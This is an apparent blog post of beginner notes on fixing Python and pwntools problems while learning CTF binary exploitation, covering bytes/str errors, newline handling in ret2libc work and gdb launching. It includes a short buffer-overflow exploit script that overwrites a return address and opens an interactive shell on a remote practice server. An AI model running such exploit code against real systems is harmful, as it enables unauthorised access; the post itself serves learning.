PWN学习过程中一些小问题的解决方法

  • 一、使用python运行py文件,第一行的from pwn import *报错
  File "woof.py", line 1, in <module>
    from pwn import *
ImportError: No module named pwn

因为使用的是python3安装的pwn,使用Python的话默认使用的是python2,可以直接在终端中输入python查看自己使用的版本。

  • 二、使用python3运行脚本:
from pwn import *
r=remote("120.46.59.242", 2139)
payload='A'*13+p32(0x0804859b)
r.sendline(payload)
r.interactive()

报错:

  File "/home/exfeitu/desktop/woof.py", line 3, in <module>
    payload=str('A'*13+p32(0x0804859b))
TypeError: can only concatenate str (not "bytes") to str

无法进行字符串转换之类的,是由于python2和与python3的版本特性,需要手动转换。
参考python 报错TypeError: can only concatenate str (not "bytes") to str
can only concatenate str (not "bytes") to str,使用str()和bytes()强制进行转换。
原本是将脚本第三行改成

payload='A'*13+str(p32(0x0804859))

但是连接后缓冲区溢出并没有成功,需要使用bytes类型的数据作为payload,所以将'A'13这部分改成bytes('A'13),又报错:

TypeError: string argument without an encoding

需要加上encode('ascii')才行,最后的py文件:

from pwn import *
r=remote("120.46.59.242", 2142)
payload=bytes(('A'*13).encode('ascii'))+p32(0x0804859b)
r.sendline(payload)
r.interactive()

可以连接后ls显示文件
关于encode和str的用法参考:
Python3_字符编码Encoding:ASCII,Unicode,UTF-8pwntools:类型转换

改正:只需要在'A'前面加上b就行了,payload = b'a'*13 + p32(0x0804859b)

  • 三、关于ida反汇编出来的puts()中的\n和sendafterline
    在跟着ret2libc教程做时,由于之前使用python脚本时都使用sendafterline都没有在接收的内容后面加上\n也能正常运行,但是这次遇到了不行,不加\n的话实际就会有收到\n前就send内容出去,而且最后的\n会被接收到下一个recvline中,导致我的r.recvline()接收到的内容只有一个'\n'在里面。后面解析时出现错误。

  • 四、 使用python脚本直接在pwndbg时在main处下断点
    使用p = gdb.debug('./heap_Double_Free', "b main")即可直接在启动程序时进入gdb

posted on 2024-08-02 11:02  祝你幸福  阅读(396)  评论(0)    收藏  举报

导航